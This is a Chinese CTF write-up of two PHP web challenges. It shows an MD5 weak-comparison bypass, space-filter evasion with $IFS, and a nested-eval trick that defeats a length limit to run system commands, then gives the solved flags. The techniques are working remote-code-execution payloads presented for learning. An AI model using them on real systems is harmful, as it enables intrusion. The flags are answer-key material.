目录
[SWPUCTF 2022 新生赛]webdog1__start
1、题目
2、知识点
3、思路
[FSCTF 2023]webshell是啥捏
4、题目
5、知识点
6、思路
[SWPUCTF 2022 新生赛]webdog1__start
1、题目
2、知识点
RCE、空格绕过，嵌套eval
3、思路
出现这个页面，没有其他的提示，右键查看源代码
这里提示我们要GET方式上传一个web参数，且跟他的md5值进行弱比较
可以采用0e215962017进行绕过
?web=0e215962017
输入后跳到上面的页面，但没有什么提示信息，这里抓个包看看
发现有一个页面f14g.php，访问看看
依旧没什么提示，继续抓包看看
发现F1l1l1l1l1lag.php
出现源代码，进行审计
这里要我们上传一个get变量，
if(!strstr($get," "))，这一个判断是对空格进行过滤，如果$get的内容有空格，则为false
绕过空格：${IFS}$9 、{IFS} 、$IFS 、${IFS}、$IFS$1（其他数字也行，不一定要1）、IFS等
$get = str_ireplace("flag", " ", $get);这一句是对flag字眼进行过滤，如果有flag，则把它替换成空
if (strlen($get)>18) 这一句是对输入的字符进行限制
eval($get); eval可以执行系统命令，我们可以从这里获得flag
?get=system('ls');
?get=system('cat$IFS/flag.php');
会被限制到，这里有一个新的思路，双重eval
在eval中再执行一个eavl ，利用条件是要由eval函数，且没有过滤
?get=eval($_GET[1]);&1=system('ls');
这样既绕过了空格也绕过了长度的限制
?get=eval($_GET[1]);&1=system('cat flag.php');
没有显示信息，说明flag不在这里，右键查看源码
发现flag在根目录下
得到flag：NSSCTF{2a1f3b5a-38ca-4732-bb45-bf76e6f3e2e9}
[FSCTF 2023]webshell是啥捏
4、题目
5、知识点
RCE
6、思路
$😭对应的字母也就是：passthru
passthru是PHP的一个函数
也就是跟system()函数一样，
eval($😭($_GET['👽'])) ——》eval($passthru($_GET['👽']))
所以我们将👽上传一些系统命令
?👽=ls /;
得到flag.txt
?👽=cat /flag.txt;
得到flag：FSCTF{h3llo_ctfe2_5ign_in_webshell_Is_e@sy_right}
这篇文章就先写到这里了，哪里不懂的或者哪里不足的欢迎指出！
